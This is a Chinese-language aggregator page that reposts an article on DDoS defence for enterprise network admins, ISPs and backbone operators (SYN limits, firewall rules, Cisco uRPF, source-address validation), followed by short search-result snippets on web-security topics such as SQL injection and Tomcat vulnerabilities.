      ISP / ICP为很多中小型企业提供了各种规模的主机托管业务,所以在防DDoS时,除了与企业网管理员一样的手段外,还要特别注意自己管理范围内的客户托管主机不要成为傀儡机。客观上说,这些托管主机的安全性普遍是很差的,有的连基本的补丁都没有打就赤膊上阵了,成为黑客最喜欢的"肉鸡",因为不管这台机器黑客怎么用都不会有被发现的危险,它的安全管理太差了;还不必说托管的主机都是高性能、高带宽的-简直就是为DDoS定制的。而做为ISP的管理员,对托管主机是没有直接管理的权力的,只能通知让客户来处理。在实际情况时,有很多客户与自己的托管主机服务商配合得不是很好,造成ISP管理员明知自己负责的一台托管主机成为了傀儡机,却没有什么办法的局面。而托管业务又是买方市场,ISP还不敢得罪客户,怎么办?咱们管理员和客户搞好关系吧,没办法,谁让人家是上帝呢?呵呵,客户多配合一些,ISP的主机更安全一些,被别人告状的可能性也小一些。

      

      骨干网络运营商

      

      他们提供了互联网存在的物理基础。如果骨干网络运营商可以很好地合作的话,DDoS攻击可以很好地被预防。在2000年yahoo等知名网站被攻击后,美国的网络安全研究机构提出了骨干运营商联手来解决DDoS攻击的方案。其实方法很简单,就是每家运营商在自己的出口路由器上进行源IP地址的验证,如果在自己的路由表中没有到这个数据包源IP的路由,就丢掉这个包。这种方法可以阻止黑客利用伪造的源IP来进行DDoS攻击。不过同样,这样做会降低路由器的效率,这也是骨干运营商非常关注的问题,所以这种做法真正采用起来还很困难。

      

      对DDoS的原理与应付方法的研究一直在进行中,找到一个既有效又切实可行的方案不是一朝一夕的事情。但目前我们至少可以做到把自己的网络与主机维护好,首先让自己的主机不成为别人利用的对象去攻击别人;其次,在受到攻击的时候,要尽量地保存证据,以便事后追查,一个良好的网络和日志系统是必要的。无论DDoS的防御向何处发展,这都将是一个社会工程,需要IT界的同行们来一起关注,通力合作。


    来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/8403220/viewspace-938181/,如需转载,请注明出处,否则将追究法律责任。

    转载于:http://blog.itpub.net/8403220/viewspace-938181/

    展开全文
  • 首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗? ...

    到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗?

    不过即使它难于防范,也不是说我们就应该逆来顺受,实际上防止DDoS并不是绝对不可行的事情。互联网的使用者是各种各样的,与DDoS做斗争,不同的角色有不同的任务。我们以下面几种角色为例:

    • 企业网管理员 
    • ISP、ICP管理员 
    • 骨干网络运营商 
    • 企业网管理员

                    
    网管员做为一个企业内部网的管理者,往往也是安全员、守护神。在他维护的网络中有一些服务器需要向外提供WWW服务,因而不可避免地成为DDoS的攻击目标,他该如何做呢?可以从主机与网络设备两个角度去考虑。


    主机上的设置

    几乎所有的主机平台都有抵御DoS的设置,总结一下,基本的有几种: 
                 

    • 关闭不必要的服务
    • 限制同时打开的Syn半连接数目
    • 缩短Syn半连接的time out 时间
    • 及时更新系统补丁
    • 网络设备上的设置

                    
    企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备,在进行防DDoS设置的同时,要注意一下这是以多大的效率牺牲为代价的,对你来说是否值得。


    1.防火墙
                 

    • 禁止对主机的非开放服务的访问
    • 限制同时打开的SYN最大连接数
    • 限制特定IP地址的访问÷
    • 启用防火墙的防DDoS的属性 
    • 严格限制对外开放的服务器的向外访问
    • 第五项主要是防止自己的服务器被当做工具去害人。

    2.路由器 (以Cisco路由器为例) 
                  
       Cisco Express Forwarding(CEF) 
       使用 unicast reverse-path 
       访问控制列表(ACL)过滤 
       设置SYN数据包流量速率 
       升级版本过低的ISO 
       为路由器建立log server 
                    
    其中使用CEF和Unicast设置时要特别注意,使用不当会造成路由器工作效率严重下降,升级IOS也应谨慎。路由器是网络的核心设备,与大家分享一下进行设置修改时的小经验,就是先不保存。Cisco路由器有两份配置startup-config和running-config,修改的时候改变的是running 
    config,可以让这个配置先跑一段时间(三五天的就随意啦),觉得可行后再保存配置到startup config;而如果不满意想恢复原来的配置,用copy start run就行了。

               
    ISP / ICP管理员               

    ISP / ICP为很多中小型企业提供了各种规模的主机托管业务,所以在防DDoS时,除了与企业网管理员一样的手段外,还要特别注意自己管理范围内的客户托管主机不要成为傀儡机。客观上说,这些托管主机的安全性普遍是很差的,有的连基本的补丁都没有打就赤膊上阵了,成为黑客最喜欢的"肉鸡",因为不管这台机器黑客怎么用都不会有被发现的危险,它的安全管理太差了;还不必说托管的主机都是高性能、高带宽的-简直就是为DDoS定制的。而做为ISP的管理员,对托管主机是没有直接管理的权力的,只能通知让客户来处理。在实际情况时,有很多客户与自己的托管主机服务商配合得不是很好,造成ISP管理员明知自己负责的一台托管主机成为了傀儡机,却没有什么办法的局面。而托管业务又是买方市场,ISP还不敢得罪客户,怎么办?咱们管理员和客户搞好关系吧,没办法,谁让人家是上帝呢?呵呵,客户多配合一些,ISP的主机更安全一些,被别人告状的可能性也小一些。


    骨干网络运营商                
               
    他们提供了互联网存在的物理基础。如果骨干网络运营商可以很好地合作的话,DDoS攻击可以很好地被预防。在2000年yahoo等知名网站被攻击后,美国的网络安全研究机构提出了骨干运营商联手来解决DDoS攻击的方案。其实方法很简单,就是每家运营商在自己的出口路由器上进行源IP地址的验证,如果在自己的路由表中没有到这个数据包源IP的路由,就丢掉这个包。这种方法可以阻止黑客利用伪造的源IP来进行DDoS攻击。不过同样,这样做会降低路由器的效率,这也是骨干运营商非常关注的问题,所以这种做法真正采用起来还很困难。


                    
    对DDoS的原理与应付方法的研究一直在进行中,找到一个既有效又切实可行的方案不是一朝一夕的事情。但目前我们至少可以做到把自己的网络与主机维护好,首先让自己的主机不成为别人利用的对象去攻击别人;其次,在受到攻击的时候,要尽量地保存证据,以便事后追查,一个良好的网络和日志系统是必要的。无论DDoS的防御向何处发展,这都将是一个社会工程,需要IT界的同行们来一起关注,通力合作。

    转载于:https://www.cnblogs.com/webmedia/archive/2005/05/20/159696.html

    展开全文
  • 怎样用kali-liunx进行安全渗透测试?

    千次阅读 2018-09-15 09:00:49
    只不过,有些漏洞不容易被发现或者发现漏洞的成本比利用它来获取利益更多,所以,外表看上去你们的系统还是很安全的。但是,越是这样我们越不能疏忽,尤其是拥有成千上万用户和数据的系统,安全渗透测试迫在眉睫。...
  • ASP防注入漏洞方法

    千次阅读 2009-05-17 21:32:00
    ASP防注入漏洞方法 在做安全配置前,我们先了解一下入侵者的攻击手法。现在很流行注入攻击,所谓注入攻击,就是利用提交特殊地址将ASP中引用的正常SQL语句和入侵者所需要的SQL语句一并执行,使入侵者达到入侵的目的...
  • 浅谈HTTP响应拆分攻击

    2014-05-27 15:51:00
    在本文中,我们将探讨何谓HTTP响应拆分以及攻击行为是怎样进行的。一旦彻底理解了其发生原理(该原理往往被人所误解),我们就可以探究如何利用响应拆分执行跨站点脚本(简称XSS)。接下来自然就是讨论如果目标网站...
  • 浅谈HTTP响应拆分攻击(一)

    千次阅读 2017-11-12 12:59:00
    在本文中,我们将探讨何谓HTTP响应拆分以及攻击行为是怎样进行的。一旦彻底理解了其发生原理(该原理往往被人所误解),我们就可以探究如何利用响应拆分执行跨站点脚本(简称XSS)。接下来自然就是讨论如果目标网站...
  • SQL注入学习路线

    2017-08-22 11:33:19
    学习路线现在网上关于Web漏洞的资料超级多,如果...如何利用这些漏洞进行攻击,有什么工具?选择一种并熟悉它 怎样防御该漏洞? 各位看官,今天就让咱们沿着这条路线来学习一下SQL注入攻击。什么是SQL注入? SQL(Str
  • Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞。 ————参考的文章链接:文章1,文章2 ...
  • 精点留言最新版。...这个漏洞是由黑客发现的,可被坏人上传木马,至于黑客是怎样利用漏洞的本人也不清楚,请大家尽快替换旧文件,或者删除精点留言程序. 但希望不要对那些没有来得及打补丁的旧用户进行恶意攻击,谢谢.
  • 总结一下Web相关的安全攻防知识,让自己对这个知识点多一点了解,下面来聊聊Web中最常见的几种安全问题,包括攻击类型、原理以及怎样防御等。...恶意攻击利用网站没有对用户提交数据进行转义处理或者过滤不足...
  • CVE-2020-9484:Apache Tomcat Session 反序列化代码执行漏洞|CVE-2020-9484:Apache Tomcat 反序列化RCE漏洞的分析和利用 PHPOK 最新版漏洞组合拳 GETSHELL Apache Kylin 3.0.1命令注入漏洞 weblogic T3 ...
  • ASP防注入

    2020-09-13 13:05:57
    现在很流行注入攻击,所谓注入攻击,就是利用提交特殊地址将ASP中引用的正常SQL语句和入侵者所需要的SQL语句一并执行,使入侵者达到入侵的目的。现在更是有一些脚本注入工具发布,使菜鸟也可以轻松完成对ASP的注入...
  • 由于UPnP服务运行在系统的上下文,攻击者如果利用漏洞成功,可以完全控制主机。更为严重的是SSDP服务器程序同样也监听广播和多播接口,所以攻击者可以同时攻击多个机器而不需要知道单个主机的IP地址。  解决方法:...
  • mybatis $和#源代码分析

    2017-10-15 22:22:00
    一种是支持参数化和预编译的PreparedStatement,支持原生sql,支持设置占位符,参数化输入的参数,防止sql注入攻击,在mybatis的mapper配置文件中,我们通过使用#和$告诉mybatis我们需要对参数进行怎样的设置。...
  • 黑客一般通过系统漏洞和远程控制技术对用户电脑进行攻击和控制,在此过 程中,密码起着重要的防范作用。 4.1 密码攻防 88 4.1.1 认识加密技术 88 1. 加密技术的定义 88 2. 加密技术的分类 88 3. 常见的加密算法 89 ...
  • 个人云平台Sandstorm.zip

    2019-07-16 07:33:52
    安全问题对于传统的服务器,安装一个APP就有可能存在一个漏洞,从而就有可能遭到黑客的攻击。针对这一系列的安全问题Sandstorm开发了安全沙盒, 这一安全沙盒可以让你的信息与其他的系统进行隔离,当你需要使用其中...
  • Reversing:逆向工程揭密

    热门讨论 2010-06-21 17:27:22
    逆向工程是指将工程制品(比如汽车、喷气发动机或者软件程序)以揭示其最底层的细节(如其设计和架构)的方式进行解构的过程。这与研究自然现象的科学研究有些类似,区别就在于一般没有人会把科学研究看做逆向工程,...
  • 本书描述的是在逆向与反...逆向工程是指将工程制品(比如汽车、喷气发动机或者软件程序)以揭示其最底层的细节(如其设计和架构)的方式进行解构的过程。这与研究自然现象的科学研究有些类似,区别就在于一般没有人会把...
  • asp.net知识库

    2015-06-18 08:45:45
    页面一postback,它就显示页面的最顶端,怎样让它定位在某一位置? 如何保证页面刷新后的滚动条位置 清除网页历史记录,屏蔽后退按钮! 如何传值在2个页面之间 :要求不刷新父页面,并且不能用Querystring传值 Asp...
  •  一个真实恶意程序的现场剖析和展示,以及揭示了攻击者是怎样通过程序通信获得被感染系统的控制权的; . 反编译器背后的理论和原则,以及它们对各种低级语言代码进行反编译的有效性。  本书的组织  本书共分...
  • reversing :逆向工程解密

    热门讨论 2012-09-04 11:40:49
     一个真实恶意程序的现场剖析和展示,以及揭示了攻击者是怎样通过程序通信获得被感染系统的控制权的; . 反编译器背后的理论和原则,以及它们对各种低级语言代码进行反编译的有效性。  本书的组织  本书共分...

空空如也

空空如也

1 2
收藏数 27
精华内容 10
关键字:

怎样利用漏洞进行攻击